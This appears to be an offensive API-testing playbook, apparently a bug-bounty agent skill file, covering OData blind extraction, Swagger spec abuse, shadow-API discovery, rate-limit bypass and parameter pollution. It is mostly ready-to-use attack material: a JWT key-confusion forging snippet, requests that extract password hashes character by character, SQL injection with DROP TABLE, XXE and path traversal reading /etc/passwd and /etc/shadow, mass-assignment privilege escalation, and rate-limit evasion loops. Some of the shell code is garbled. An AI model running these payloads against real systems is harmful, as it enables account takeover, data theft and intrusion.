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# Get server's public key from /.well-known/jwks.json# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
OData (Open Data Protocol) is the query layer behind SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori, and any ASP.NET WebAPI project using Microsoft.AspNetCore.OData. It exposes SQL-shaped query operators (eq, ne, and, or, substringof, startswith, tolower, concat, replace) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
Attack class 1 — Boolean-logic blind extraction via startswith / substringof
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
Iterate prefix character-by-character; cardinality of the response (or @odata.count) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no '/-- characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals password hashes, names, emails, addresses, financial data in Dec 2023; Microsoft patched May 2024. (Stratus Security writeup, The Hacker News coverage Jan 2025)
Attack class 2 — $orderby / $select column-disclosure bypass
GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
$orderby accepts column names the user has no $select permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection ($select) but NOT on $orderby / $filter — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.
Attack class 3 — $batch multipart/mixed → per-request WAF signatures miss sub-operations
POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--
WAFs that scan only the outer request body (or that don't natively parse multipart/mixed) skip every inner operation. ModSecurity refused multipart/mixed historically (Issue #3296); F5 added native batch parsing only in Advanced WAF v16.1 (F5 SAP-Fiori advisory). The 2025 WAFFLED paper (arXiv 2503.10846) generalises the parsing-discrepancy bypass class across 5 major WAFs.
GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $
GET /api?%2524filter=... # double-encoded
GET /Users(1)/$value # path-segment style
Mixed-case operators (Eq, EQ) and obscure ones (substringof, tolower, concat, replace) look unlike SELECT/UNION so SQLi-keyword signatures never fire. WAFs that key on the literal string $filter see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. (OWASP Double Encoding)
Attack class 5 — OData → real SQLi when library passes filter raw
$filter=Name eq 'x'); DROP TABLE Users--'
Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in OData/WebApi Issue #2352. The XML-deserialisation variant: CVE-2019-17554 (Apache Olingo OData 4.0.0-4.6.0, XXE via <!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]> in application/xml body, CVSS 7.5). DoS variant: CVE-2018-8269 (Microsoft.Data.OData deep $filter recursion → stack overflow).
Bonus — $expand navigation-property IDOR
GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))
Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak (UpGuard writeup).
Try $metadata → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours.
Probe each entity set with $filter=1 eq 1, $top=1, $select=*, then $orderby=<column-you-shouldnt-see> for column-level ACL.
Send the same payload three ways ($filter=, %24filter=, %2524filter=) and through $batch — divergent WAF behaviour confirms the parser-discrepancy bug.
NSwag is the Swagger/OpenAPI toolchain for ASP.NET Core. Default routes (/swagger, /swagger/v1/swagger.json, /swagger/index.html) ship enabled in many .NET 6/7/8 projects and developers leave them on in production. The exposed spec discloses every endpoint, HTTP methods, parameter names + types + formats + max-lengths, models, validation rules — a complete attack-map in JSON.
A. Spec disclosure → mass IDOR / BOLA. Spec lists every GET /api/v1/users/{userId}/.... jq '.paths | keys' swagger.json → swap {userId} for victim's ID via Autorize/ffuf -mc 200. Common case: spec leaks /api/admin/users/{id}/reset-password documented but missing [Authorize(Roles="Admin")] on the controller — low-priv ATO.
B. Spec disclosure → mass-assignment payload construction.components.schemas.UserUpdateDto enumerates every model field including isAdmin, emailVerified, tenantId, role. Attacker copies the schema verbatim into PATCH /users/me and adds the privileged fields. Server's [FromBody] binder accepts them when DTOs aren't split into read-vs-write models.
C. Hidden endpoints. Specs document /internal/*, /debug/*, /v0/*, /legacy/* routes that no front-end UI references. Reachable but uncovered by WAF rules and often skipped during auth reviews.
D. Swagger UI configUrl takeover. Swagger UI loads its config from ?configUrl=. If unsanitised, attacker hosts an evil OpenAPI spec, sends victim a link to the legitimate Swagger UI with ?configUrl=https://evil/spec.json. Spec routes point back at the legitimate origin so the victim's "Try It Out" clicks fire same-origin authenticated requests. (HackerOne #3124103 — U.S. DoD Swagger UI Injection, May 2025)
Disclosed cases
CVE-2018-25031 — Swagger UI ≤ 4.1.2 spec-injection via URL parameter; affects org.webjars:swagger-ui broadly (embedded in Swashbuckle and NSwag bundles).
Swagger UI DOM XSS (3.14.1 → 3.38.0) — outdated bundled DOMPurify + remote-spec-load → arbitrary JS in victim browser (Vidoc Security Lab writeup, PortSwigger Daily Swig). Reported live on PayPal, Atlassian, Microsoft, GitLab, Yahoo.
HackerOne #3124103 — U.S. Department of Defense, Swagger UI Injection (May 2025).
HackerOne #2534300 — Ionity GmbH, HTML injection in Swagger UI.
HackerOne #1656650 — Reflected XSS via Swagger UI url= parameter.
CloudSEK threat-intel (2024) — actors abuse exposed swagger-ui to invoke a verified-business WhatsApp send-message endpoint, impersonating the company to its customers. 6,000+ exposed Swagger UI instances on Shodan at time of writing. (CloudSEK report)
CVE-2023-38337 — rswag (Ruby Swagger toolchain) directory traversal — reminder that the spec endpoint is itself an attack surface.
Detection checklist
httpx-probe every path above across the full subdomain set; flag 200 with Content-Type: application/json AND body matching "swagger" or "openapi".
For every hit: jq '.paths | keys' swagger.json → feed to kiterunner / Autorize.
jq '.components.schemas' swagger.json → mass-assignment field candidates.
Banner the Swagger UI HTML for version string; map to the CVE-2018-25031 / DOM-XSS table.
Test ?configUrl= and ?url= parameter handling on every Swagger UI hit.
Shadow API Discovery
Shadow APIs are undocumented, forgotten, or decommissioned API endpoints that remain accessible.
They often lack authentication, rate limiting, or security reviews.
# The current app uses /api/v2 — test v1, v3, v4, v0:for v in v0 v1 v2 v3 v4 v5 beta dev staging; do
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} ""https://target.com/api/$v/users"echo"/api/$v/users"done
C. HTTP method enumeration on discovered endpoints
# For each discovered path, test all HTTP methods:
curl --max-time 30 --connect-timeout 10 -X OPTIONS -s -D- "https://target.com/api/some-endpoint" 2>/dev/null | grep -i allow
# Also test: PATCH, PUT, POST, DELETE, CONNECT, TRACE, HEAD
D. GraphQL introspection as shadow API discovery
# Even if /graphql is known, its schema may reveal undocumented mutations/fields:
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { __schema { types { name fields { name } } } }"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print('\n'.join(t['name'] for t in d.get('data',{}).get('__schema',{}).get('types',[]) if not t['name'].startswith('__')))" \
| grep -iE "admin|internal|debug|test|secret|token|key|migrate|backup|reset|bypass|override|dev|beta"
Attack chains:
Shadow API + no auth = all endpoints accessible without authentication
Shadow API + weaker auth = IDOR / privilege escalation via undocumented parameters
GraphQL shadow field = mutation that resets user passwords or escalates privileges
Rate Limit Bypass via Aliases
Rate limiting is meaningless if a single request can carry N logical operations. Three proven bypasses:
A. HTTP/2 Stream Multiplexing
# Open single HTTP/2 connection, send N requests on N streams in one TCP write.# Server's rate limiter counts per-TCP-connection, not per-stream — all N pass.
curl --max-time 30 --connect-timeout 10 --http2 -s --parallel --parallel-max 30 \
-H "Cookie: session=xxx" \
-w "%{http_code}\n" -o /dev/null \
"https://target.com/api/endpoint?param={1..30}"
B. Batch Operation Abuse
Many APIs support batch operations that accept arrays:
# Instead of 1 item per request (rate-limited at 10/min), batch 100 items in 1 request:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/users/batch" \
-H "Content-Type: application/json" \
-d '{"users": [{"email": "user1@test.com"}, {"email": "user2@test.com"}, ...]}'# If batch endpoint uses a separate rate limit or no limit → bypass
C. API Key Rotation
# Register multiple API keys / accounts, rotate across them:for key in"key1""key2""key3""key4""key5"; do
curl --max-time 30 --connect-timeout 10 -s -H "X-API-Key: *** "https://target.com/api/resource"
done
# For JWT-based APIs, request multiple short-lived tokens from different sessions
D. X-Forwarded-For IP rotation
# If rate limiter keys on client IP from X-Forwarded-For:for ip in $(seq 1 50); do
curl --max-time 30 --connect-timeout 10 -s -H "X-Forwarded-For: 10.0.0.$ip""https://target.com/api/resource" &
donewait
E. GraphQL alias-based batching (N operations in 1 request)
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { '"$(for i in $(seq 1 100); do echo -n "a$i: user(id:$i) { email } "; done)"' }"}'# 100 data-fetch operations in a single request bypasses per-request rate limits
API Parameter Pollution
Injecting duplicate, conflicting, or unexpected parameters to bypass validation or alter behavior.
A. HTTP Parameter Pollution (HPP)
# Duplicate params — server may accept first, last, or concatenate:
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id=1&id=2&id=3"
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id=1&id=2&role=user&role=admin"# Test different separators:
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id=1&id=2"# standard
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users?id[]=1&id[]=2"# PHP array syntax
curl --max-time 30 --connect-timeout 10 "https://target.com/api/users[?id=1,2]"# Rails array
B. JSON Parameter Pollution
# Duplicate keys in JSON — server may use last value:
curl --max-time 30 --connect-timeout 10 -X PUT "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d '{"email":"victim@company.com","email":"attacker@evil.com","role":"user","role":"admin"}'# Nested parameter injection:
curl --max-time 30 --connect-timeout 10 -X PUT "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d '{"name":"test","settings":{"role":"admin"},"role":"admin"}'
C. HTTP Method Override
# Bypass method-level ACLs by overriding:
curl --max-time 30 --connect-timeout 10 -X GET "https://target.com/api/admin/users" \
-H "X-HTTP-Method: DELETE" \
-H "X-HTTP-Method-Override: DELETE" \
-H "X-Method-Override: DELETE"# POST with overridden method:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/admin/users" \
-H "X-HTTP-Method-Override: DELETE"
D. Content-Type Confusion
# Send JSON payload with URL-encoded Content-Type:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/user/update" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d '{"role":"admin","is_admin":true}'# Some parsers accept JSON content from form-urlencoded type# XML injection via alternative Content-Type:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/api/user/update" \
-H "Content-Type: application/xml" \
-d '<user><role>admin</role><is_admin>true</is_admin></user>'
E. Path traversal via parameter pollution
# API that constructs file paths from user parameters:
curl --max-time 30 --connect-timeout 10 "https://target.com/api/export?format=pdf&format=../../etc/passwd"
curl --max-time 30 --connect-timeout 10 "https://target.com/api/template?name=report&name=../../../etc/shadow"
All 4 tests verify the core API misconfig probing capability.
Pitfalls
Mass assignment without side effects — sending {is_admin:true} and getting 200 doesn't prove the field was applied. Verify by reading back the profile and confirming the escalated value persists.
JWT alg:none only on test servers — many production JWKS endpoints enforce algorithm validation. Test with the actual production token endpoint, not localhost.
Prototype pollution without a sink — polluting __proto__ proves nothing unless you can reach a gadget (RCE sink, XSS sink, or auth bypass via polluted comparison). Map the pollution to a specific exploitable side effect.
HTTP verb tampering on read-only endpoints — bypassing CSRF via GET on a read endpoint is not exploitable. Need a state-changing action (POST/PUT/DELETE) that accepts GET.
CORS confusion — Access-Control-Allow-Origin: * without credentials is NOT exploitable. Only origin-reflection + credentials matters.
Rate limit bypass via header aliases — X-Forwarded-For: 127.0.0.1 may bypass rate limits but also bypass geo-restrictions and IP-based auth. Test both outcomes.
Shadow APIs on different port/base path — the production API at /api/v2/ may be guarded while /api/ on the same host isn't. Always probe for legacy/unversioned paths.
PDO emulated prepares crash != RCE — a 502 on malformed multibyte input confirms emulated prepares but not exploitability. Need a full deserialization/injection chain.
Related Skills & Chains
Phase X — PDO Emulated Prepares Risk
PHP's PDO driver mode PDO::ATTR_EMULATE_PREPARES => true forces client-side query rewriting instead of native DBMS prepared statements. While sometimes required (PgBouncer compatibility, legacy DB drivers), this mode:
Passes untrusted input through C-level string functions (strncat, strcpy) that truncate on NUL bytes
Relies on driver-side escaping (not server-side parameter binding) — single quoting bug = SQLi
Can crash the PHP process on malformed multibyte input (NULL pointer deref, CVE-2025-14180)
# Detect emulated prepares: force an invalid multibyte sequence
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/checkout" \
-H "Content-Type: application/json" \
-d '{"product_id":101,"notes":"alice\x99"}'# If server returns 502/connection-reset instead of 400 → likely emulated prepares crash
When emulated prepares are active, treat ALL user input as potentially binary-unsafe. Even PDO::quote() + PDO::prepare() is not safe on drivers with strncat() internals.
hunt-ato — Mass assignment on signup/profile is the fastest path to admin. Chain primitive: API mass assignment + hunt-ato → role=admin set on signup → ATO via privileged role on first login.
hunt-auth-bypass — JWT flaws collapse the entire auth layer. Chain primitive: JWT alg=none + hunt-auth-bypass → impersonate any user by setting sub to victim ID, no signature required.
hunt-rce — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach child_process.spawn. Chain primitive: Prototype pollution (__proto__.shell=true) + hunt-rce (Node.js gadget chain) → RCE on the API node.
hunt-subdomain — CORS regex with wildcard subdomain trusts a takeoverable host. Chain primitive: CORS allowlist *.target.com + subdomain takeover → attacker-controlled origin reads credentialed API responses.
security-arsenal — Load the JWT Attack Payloads section (alg=none, kid path traversal, JWK injection, embedded JWK) and the Mass-Assignment Field Wordlist (is_admin, role, verified, permissions, org_id, tenant_id).
triage-validation — Apply the Server-Policy-vs-State gate: a permissive CORS header alone is informational; demonstrate actual cross-origin credentialed read of sensitive data before reporting.
